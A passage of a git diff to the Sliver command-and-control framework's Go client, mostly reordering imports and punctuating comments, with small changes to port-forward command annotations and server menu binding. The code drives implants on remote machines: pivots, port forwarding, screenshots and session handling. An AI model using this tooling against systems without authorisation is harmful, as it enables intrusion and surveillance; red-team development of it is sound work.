beacon == nil { @@ -136,7 +135,7 @@ func UIDCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// GIDCmd - Get the active session's GID +// GIDCmd - Get the active session's GID. func GIDCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -149,7 +148,7 @@ func GIDCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// WhoamiCmd - Displays the current user of the active session +// WhoamiCmd - Displays the current user of the active session. func WhoamiCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { diff --git a/client/command/info/ping.go b/client/command/info/ping.go index 600ef4c513..3dd75e1652 100644 --- a/client/command/info/ping.go +++ b/client/command/info/ping.go @@ -4,13 +4,12 @@ import ( "context" insecureRand "math/rand" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// PingCmd - Send a round trip C2 message to an implant (does not use ICMP) +// PingCmd - Send a round trip C2 message to an implant (does not use ICMP). func PingCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/pivots/graph.go b/client/command/pivots/graph.go index 5e067cc146..8872cd631a 100644 --- a/client/command/pivots/graph.go +++ b/client/command/pivots/graph.go @@ -23,13 +23,12 @@ import ( "encoding/json" "fmt" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/spf13/cobra" ) -// PivotsGraphCmd - Display pivots for all sessions +// PivotsGraphCmd - Display pivots for all sessions. func PivotsGraphCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { graph, err := con.Rpc.PivotGraph(context.Background(), &commonpb.Empty{}) if err != nil { diff --git a/client/command/pivots/helpers.go b/client/command/pivots/helpers.go index ea933ce4c7..328043d0c6 100644 --- a/client/command/pivots/helpers.go +++ b/client/command/pivots/helpers.go @@ -28,13 +28,12 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" - "github.com/rsteube/carapace" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/rsteube/carapace" ) -// SelectPivotListener - Interactive menu to select a pivot listener +// SelectPivotListener - Interactive menu to select a pivot listener. func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.SliverClient) (*sliverpb.PivotListener, error) { // Render selection table buf := bytes.NewBufferString("") diff --git a/client/command/pivots/pivots.go b/client/command/pivots/pivots.go index fef208f5ef..60de8dec39 100644 --- a/client/command/pivots/pivots.go +++ b/client/command/pivots/pivots.go @@ -21,15 +21,14 @@ package pivots import ( "context" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" ) -// PivotsCmd - Display pivots for all sessions +// PivotsCmd - Display pivots for all sessions. func PivotsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { @@ -54,7 +53,7 @@ func PivotsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintPivotListeners - Print a table of pivot listeners +// PrintPivotListeners - Print a table of pivot listeners. func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) @@ -75,7 +74,7 @@ func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console. con.Printf("%s\n", tw.Render()) } -// PivotTypeToString - Convert a pivot type to a human string +// PivotTypeToString - Convert a pivot type to a human string. func PivotTypeToString(pivotType sliverpb.PivotType) string { switch pivotType { case sliverpb.PivotType_TCP: diff --git a/client/command/pivots/start.go b/client/command/pivots/start.go index 69f38e8ddf..67e00e9041 100644 --- a/client/command/pivots/start.go +++ b/client/command/pivots/start.go @@ -22,13 +22,12 @@ import ( "context" "fmt" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// StartTCPListenerCmd - Start a TCP pivot listener on the remote system +// StartTCPListenerCmd - Start a TCP pivot listener on the remote system. func StartTCPListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { @@ -52,7 +51,7 @@ func StartTCPListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []s con.PrintInfof("Started tcp pivot listener %s with id %d\n", listener.BindAddress, listener.ID) } -// StartNamedPipeListenerCmd - Start a TCP pivot listener on the remote system +// StartNamedPipeListenerCmd - Start a TCP pivot listener on the remote system. func StartNamedPipeListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/portfwd/commands.go b/client/command/portfwd/commands.go index bf4930a6c8..15c9b0a0b9 100644 --- a/client/command/portfwd/commands.go +++ b/client/command/portfwd/commands.go @@ -1,27 +1,27 @@ package portfwd import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. func Commands(con *console.SliverClient) []*cobra.Command { portfwdCmd := &cobra.Command{ - Use: consts.PortfwdStr, - Short: "In-band TCP port forwarding", - Long: help.GetHelpFor([]string{consts.PortfwdStr}), + Use: consts.PortfwdStr, + Short: "In-band TCP port forwarding", + Long: help.GetHelpFor([]string{consts.PortfwdStr}), + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), Run: func(cmd *cobra.Command, args []string) { PortfwdCmd(cmd, con, args) }, - GroupID: consts.NetworkHelpGroup, } flags.Bind("", true, portfwdCmd, func(f *pflag.FlagSet) { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") diff --git a/client/command/portfwd/portfwd-add.go b/client/command/portfwd/portfwd-add.go index a85e03e6a1..42c481ea2d 100644 --- a/client/command/portfwd/portfwd-add.go +++ b/client/command/portfwd/portfwd-add.go @@ -25,16 +25,15 @@ import ( "regexp" "time" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/tcpproxy" + "github.com/spf13/cobra" ) var portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$") -// PortfwdAddCmd - Add a new tunneled port forward +// PortfwdAddCmd - Add a new tunneled port forward. func PortfwdAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/portfwd/portfwd-rm.go b/client/command/portfwd/portfwd-rm.go index f09f1281c5..ab648b3f24 100644 --- a/client/command/portfwd/portfwd-rm.go +++ b/client/command/portfwd/portfwd-rm.go @@ -19,13 +19,12 @@ package portfwd */ import ( - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" + "github.com/spf13/cobra" ) -// PortfwdRmCmd - Remove an existing tunneled port forward +// PortfwdRmCmd - Remove an existing tunneled port forward. func PortfwdRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { portfwdID, _ := cmd.Flags().GetInt("id") if portfwdID < 1 { diff --git a/client/command/portfwd/portfwd.go b/client/command/portfwd/portfwd.go index b7cfee7b5e..b8daedfd39 100644 --- a/client/command/portfwd/portfwd.go +++ b/client/command/portfwd/portfwd.go @@ -23,28 +23,27 @@ import ( "sort" "strconv" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) -// PortfwdCmd - Display information about tunneled port forward(s) +// PortfwdCmd - Display information about tunneled port forward(s). func PortfwdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { PrintPortfwd(con) } -// PrintPortfwd - Print the port forward(s) +// PrintPortfwd - Print the port forward(s). func PrintPortfwd(con *console.SliverClient) { portfwds := core.Portfwds.List() if len(portfwds) == 0 { con.PrintInfof("No port forwards\n") return } - sort.Slice(portfwds[:], func(i, j int) bool { + sort.Slice(portfwds, func(i, j int) bool { return portfwds[i].ID < portfwds[j].ID }) @@ -67,7 +66,7 @@ func PrintPortfwd(con *console.SliverClient) { con.Printf("%s\n", tw.Render()) } -// PortfwdIDCompleter completes IDs of local portforwarders +// PortfwdIDCompleter completes IDs of local portforwarders. func PortfwdIDCompleter(_ *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/reaction/commands.go b/client/command/reaction/commands.go index 56a05f88e4..4e4e9c7929 100644 --- a/client/command/reaction/commands.go +++ b/client/command/reaction/commands.go @@ -1,14 +1,13 @@ package reaction import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/reaction/helpers.go b/client/command/reaction/helpers.go index 41b264fc37..85787b8d1d 100644 --- a/client/command/reaction/helpers.go +++ b/client/command/reaction/helpers.go @@ -26,23 +26,22 @@ import ( "strconv" "strings" - "github.com/rsteube/carapace" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" + "github.com/rsteube/carapace" ) const ( ReactionFileName = "reactions.json" ) -// GetReactionFilePath - Get the +// GetReactionFilePath - Get the. func GetReactionFilePath() string { return path.Join(assets.GetRootAppDir(), ReactionFileName) } -// SaveReactions - Save the reactions to the reaction file +// SaveReactions - Save the reactions to the reaction file. func SaveReactions(reactions []core.Reaction) error { reactionFilePath := GetReactionFilePath() data, err := json.MarshalIndent(reactions, "", " ") @@ -52,7 +51,7 @@ func SaveReactions(reactions []core.Reaction) error { return ioutil.WriteFile(reactionFilePath, data, 0o600) } -// LoadReactions - Save the reactions to the reaction file +// LoadReactions - Save the reactions to the reaction file. func LoadReactions() (int, error) { reactionFilePath := GetReactionFilePath() data, err := ioutil.ReadFile(reactionFilePath) @@ -85,7 +84,7 @@ func isReactable(reaction core.Reaction) bool { return false } -// ReactionIDCompleter completes saved/available reaction IDs +// ReactionIDCompleter completes saved/available reaction IDs. func ReactionIDCompleter(_ *console.SliverClient) carapace.Action { results := make([]string, 0) diff --git a/client/command/reaction/reaction.go b/client/command/reaction/reaction.go index 9e41468e24..9caa2cf448 100644 --- a/client/command/reaction/reaction.go +++ b/client/command/reaction/reaction.go @@ -22,16 +22,15 @@ import ( "fmt" "strings" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/core" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" ) -// ReactionCmd - Manage reactions to events +// ReactionCmd - Manage reactions to events. func ReactionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { totalReactions := 0 for _, eventType := range core.ReactableEvents { @@ -71,7 +70,7 @@ func displayReactionsTable(eventType string, reactions []core.Reaction, con *con con.Printf("%s\n", tw.Render()) } -// EventTypeToTitle - Convert an eventType to a more human friendly string +// EventTypeToTitle - Convert an eventType to a more human friendly string. func EventTypeToTitle(eventType string) string { switch eventType { diff --git a/client/command/reaction/reload.go b/client/command/reaction/reload.go index fb34a6271e..ff0d5553bc 100644 --- a/client/command/reaction/reload.go +++ b/client/command/reaction/reload.go @@ -22,12 +22,11 @@ import ( "os" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" ) -// ReactionSaveCmd - Manage reactions to events +// ReactionSaveCmd - Manage reactions to events. func ReactionReloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if _, err := os.Stat(GetReactionFilePath()); os.IsNotExist(err) { con.PrintErrorf("Missing reaction file %s\n", GetReactionFilePath()) diff --git a/client/command/reaction/save.go b/client/command/reaction/save.go index c4d796390f..79ed192ad9 100644 --- a/client/command/reaction/save.go +++ b/client/command/reaction/save.go @@ -23,13 +23,12 @@ import ( "os" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" + "github.com/spf13/cobra" ) -// ReactionSaveCmd - Manage reactions to events +// ReactionSaveCmd - Manage reactions to events. func ReactionSaveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { reactionPath := GetReactionFilePath() if _, err := os.Stat(reactionPath); !os.IsNotExist(err) { diff --git a/client/command/reaction/set.go b/client/command/reaction/set.go index 05c286f396..cf74c44e5e 100644 --- a/client/command/reaction/set.go +++ b/client/command/reaction/set.go @@ -23,16 +23,15 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" + "github.com/spf13/cobra" ) -// ErrNonReactableEvent - Event does not exist or is not supported by reactions +// ErrNonReactableEvent - Event does not exist or is not supported by reactions. var ErrNonReactableEvent = errors.New("non-reactable event type") -// ReactionSetCmd - Set a reaction upon an event +// ReactionSetCmd - Set a reaction upon an event. func ReactionSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { eventType, err := getEventType(cmd, con) if err != nil { diff --git a/client/command/reaction/unset.go b/client/command/reaction/unset.go index 7b785478d1..a95e7d5f27 100644 --- a/client/command/reaction/unset.go +++ b/client/command/reaction/unset.go @@ -26,13 +26,12 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" + "github.com/spf13/cobra" ) -// ReactionUnsetCmd - Unset a reaction upon an event +// ReactionUnsetCmd - Unset a reaction upon an event. func ReactionUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { reactionID, _ := cmd.Flags().GetInt("id") if reactionID == 0 { diff --git a/client/command/reconfig/commands.go b/client/command/reconfig/commands.go index 5022c9acf3..cc5178fd5b 100644 --- a/client/command/reconfig/commands.go +++ b/client/command/reconfig/commands.go @@ -1,13 +1,12 @@ package reconfig import ( - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/reconfig/reconfig.go b/client/command/reconfig/reconfig.go index fce35800d2..f0b5343aef 100644 --- a/client/command/reconfig/reconfig.go +++ b/client/command/reconfig/reconfig.go @@ -22,16 +22,14 @@ import ( "context" "time" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// ReconfigCmd - Reconfigure metadata about a sessions +// ReconfigCmd - Reconfigure metadata about a sessions. func ReconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { diff --git a/client/command/reconfig/rename.go b/client/command/reconfig/rename.go index d4012281dc..ba4cb518a9 100644 --- a/client/command/reconfig/rename.go +++ b/client/command/reconfig/rename.go @@ -21,14 +21,13 @@ package reconfig import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/util" + "github.com/spf13/cobra" ) -// RecnameCmd - Reconfigure metadata about a sessions +// RecnameCmd - Reconfigure metadata about a sessions. func RenameCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { diff --git a/client/command/rportfwd/commands.go b/client/command/rportfwd/commands.go index 67c8ed193d..06a7b642a6 100644 --- a/client/command/rportfwd/commands.go +++ b/client/command/rportfwd/commands.go @@ -1,27 +1,27 @@ package rportfwd import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. func Commands(con *console.SliverClient) []*cobra.Command { rportfwdCmd := &cobra.Command{ - Use: consts.RportfwdStr, - Short: "reverse port forwardings", - Long: help.GetHelpFor([]string{consts.RportfwdStr}), + Use: consts.RportfwdStr, + Short: "reverse port forwardings", + Long: help.GetHelpFor([]string{consts.RportfwdStr}), + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), Run: func(cmd *cobra.Command, args []string) { RportFwdListenersCmd(cmd, con, args) }, - GroupID: consts.NetworkHelpGroup, } flags.Bind("", true, rportfwdCmd, func(f *pflag.FlagSet) { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") diff --git a/client/command/rportfwd/portfwd-add.go b/client/command/rportfwd/portfwd-add.go index 40e3ec0554..8dc20f2be9 100644 --- a/client/command/rportfwd/portfwd-add.go +++ b/client/command/rportfwd/portfwd-add.go @@ -23,15 +23,14 @@ import ( "fmt" "regexp" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) var portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$") -// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant +// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant. func StartRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/rportfwd/portfwd-rm.go b/client/command/rportfwd/portfwd-rm.go index f86857777e..ac428a7b9b 100644 --- a/client/command/rportfwd/portfwd-rm.go +++ b/client/command/rportfwd/portfwd-rm.go @@ -21,13 +21,12 @@ package rportfwd import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant +// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant. func StopRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/rportfwd/portfwd.go b/client/command/rportfwd/portfwd.go index 9090fc3ae1..2970812d8b 100644 --- a/client/command/rportfwd/portfwd.go +++ b/client/command/rportfwd/portfwd.go @@ -23,17 +23,16 @@ import ( "fmt" "strconv" + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/jedib0t/go-pretty/v6/table" "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" - - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant +// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant. func RportFwdListenersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { @@ -78,7 +77,7 @@ func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags con.Printf("%s\n", tw.Render()) } -// PortfwdIDCompleter completes IDs of remote portforwarders +// PortfwdIDCompleter completes IDs of remote portforwarders. func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/screenshot/commands.go b/client/command/screenshot/commands.go index e5c1fbac99..993cd8dcf7 100644 --- a/client/command/screenshot/commands.go +++ b/client/command/screenshot/commands.go @@ -1,14 +1,13 @@ package screenshot import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/screenshot/screenshot.go b/client/command/screenshot/screenshot.go index 39311d21fb..0741237c8c 100644 --- a/client/command/screenshot/screenshot.go +++ b/client/command/screenshot/screenshot.go @@ -26,18 +26,16 @@ import ( "path/filepath" "time" - "google.golang.org/protobuf/proto" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" ) -// ScreenshotCmd - Take a screenshot of the remote system +// ScreenshotCmd - Take a screenshot of the remote system. func ScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -98,7 +96,7 @@ func ScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } } -// PrintScreenshot - Handle the screenshot command response +// PrintScreenshot - Handle the screenshot command response. func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, cmd *cobra.Command, con *console.SliverClient) { timestamp := time.Now().Format("20060102150405") diff --git a/client/command/server.go b/client/command/server.go index 931cde702f..964b689d73 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -40,7 +40,7 @@ import ( "github.com/bishopfox/sliver/client/command/sessions" "github.com/bishopfox/sliver/client/command/settings" sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai" - // "github.com/bishopfox/sliver/client/command/taskmany". + "github.com/bishopfox/sliver/client/command/taskmany" "github.com/bishopfox/sliver/client/command/update" "github.com/bishopfox/sliver/client/command/use" "github.com/bishopfox/sliver/client/command/websites" @@ -54,7 +54,7 @@ import ( // ServerCommands returns all commands bound to the server menu, optionally // accepting a function returning a list of additional (admin) commands. -func ServerCommands(con *client.SliverClient, serverCmds console.Commands) console.Commands { +func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command) console.Commands { serverCommands := func() *cobra.Command { server := &cobra.Command{ Short: "Server commands", @@ -63,9 +63,15 @@ func ServerCommands(con *client.SliverClient, serverCmds console.Commands) conso }, } + // Utility function to be used for binding new commands to + // the sliver menu: call the function with the name of the + // group under which this/these commands should be added, + // and the group will be automatically created if needed. + bind := makeBind(server, con) + if serverCmds != nil { - server.AddGroup(&cobra.Group{ID: consts.GenericHelpGroup, Title: consts.GenericHelpGroup}) - server.AddCommand(serverCmds()) + server.AddGroup(&cobra.Group{ID: consts.MultiplayerHelpGroup, Title: consts.MultiplayerHelpGroup}) + server.AddCommand(serverCmds()...) } // [ Bind commands ] -------------------------------------------------------- @@ -77,7 +83,7 @@ func ServerCommands(con *client.SliverClient, serverCmds console.Commands) conso // the present calls. // Core - bind(consts.GenericHelpGroup, server, con, + bind(consts.GenericHelpGroup, exit.Command, licenses.Commands, settings.Commands, @@ -90,21 +96,21 @@ func ServerCommands(con *client.SliverClient, serverCmds console.Commands) conso ) // C2 Network - bind(consts.NetworkHelpGroup, server, con, + bind(consts.NetworkHelpGroup, jobs.Commands, websites.Commands, wireguard.Commands, ) // Payloads - bind(consts.PayloadsHelpGroup, server, con, + bind(consts.PayloadsHelpGroup, sgn.Commands, generate.Commands, builders.Commands, ) // Slivers - bind(consts.SliverHelpGroup, server, con, + bind(consts.SliverHelpGroup, use.Commands, info.Commands, sessions.Commands, @@ -113,7 +119,7 @@ func ServerCommands(con *client.SliverClient, serverCmds console.Commands) conso loot.Commands, hosts.Commands, reaction.Commands, - // taskmany.Command, + taskmany.Command, ) // [ Post-command declaration setup ]----------------------------------------- diff --git a/client/command/sessions/background.go b/client/command/sessions/background.go index e60c6a0caf..bc2449578c 100644 --- a/client/command/sessions/background.go +++ b/client/command/sessions/background.go @@ -1,12 +1,11 @@ package sessions import ( - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" ) -// BackgroundCmd - Background the active session +// BackgroundCmd - Background the active session. func BackgroundCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.ActiveTarget.Background() con.PrintInfof("Background ...\n") diff --git a/client/command/sessions/close.go b/client/command/sessions/close.go index 13e5cb68cb..3968a1c11f 100644 --- a/client/command/sessions/close.go +++ b/client/command/sessions/close.go @@ -21,13 +21,12 @@ package sessions import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// CloseSessionCmd - Close an interactive session but do not kill the remote process +// CloseSessionCmd - Close an interactive session but do not kill the remote process. func CloseSessionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { // Get the active session session := con.ActiveTarget.GetSessionInteractive() diff --git a/client/command/sessions/commands.go b/client/command/sessions/commands.go index 7993731183..3e14771fc1 100644 --- a/client/command/sessions/commands.go +++ b/client/command/sessions/commands.go @@ -5,15 +5,14 @@ import ( "fmt" "strings" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the `sessions` command and its subcommands. @@ -61,7 +60,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { return []*cobra.Command{sessionsCmd} } -// SessionIDCompleter completes session IDs +// SessionIDCompleter completes session IDs. func SessionIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/sessions/helpers.go b/client/command/sessions/helpers.go index a1b6d6780e..399fb19822 100644 --- a/client/command/sessions/helpers.go +++ b/client/command/sessions/helpers.go @@ -28,20 +28,19 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" ) var ( - // ErrNoSessions - No sessions available + // ErrNoSessions - No sessions available. ErrNoSessions = errors.New("no sessions") - // ErrNoSelection - No selection made + // ErrNoSelection - No selection made. ErrNoSelection = errors.New("no selection") ) -// SelectSession - Interactive menu for the user to select an session, optionally only display live sessions +// SelectSession - Interactive menu for the user to select an session, optionally only display live sessions. func SelectSession(onlyAlive bool, con *console.SliverClient) (*clientpb.Session, error) { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { diff --git a/client/command/sessions/interactive.go b/client/command/sessions/interactive.go index 151ebaf55f..8b44007757 100644 --- a/client/command/sessions/interactive.go +++ b/client/command/sessions/interactive.go @@ -23,15 +23,14 @@ import ( "net/url" "time" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// InteractiveCmd - Beacon only command to open an interactive session +// InteractiveCmd - Beacon only command to open an interactive session. func InteractiveCmd(cmd *cobra.Command, con *console.SliverClient, _ []string) { beacon := con.ActiveTarget.GetBeaconInteractive() if beacon == nil { diff --git a/client/command/sessions/prune.go b/client/command/sessions/prune.go index eaa5010ec0..31d673464a 100644 --- a/client/command/sessions/prune.go +++ b/client/command/sessions/prune.go @@ -21,14 +21,13 @@ package sessions import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/kill" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/spf13/cobra" ) -// SessionsPruneCmd - Forcefully kill stale sessions +// SessionsPruneCmd - Forcefully kill stale sessions. func SessionsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { diff --git a/client/command/sessions/sessions.go b/client/command/sessions/sessions.go index 5b8bbcda0e..6f056319f8 100644 --- a/client/command/sessions/sessions.go +++ b/client/command/sessions/sessions.go @@ -25,18 +25,17 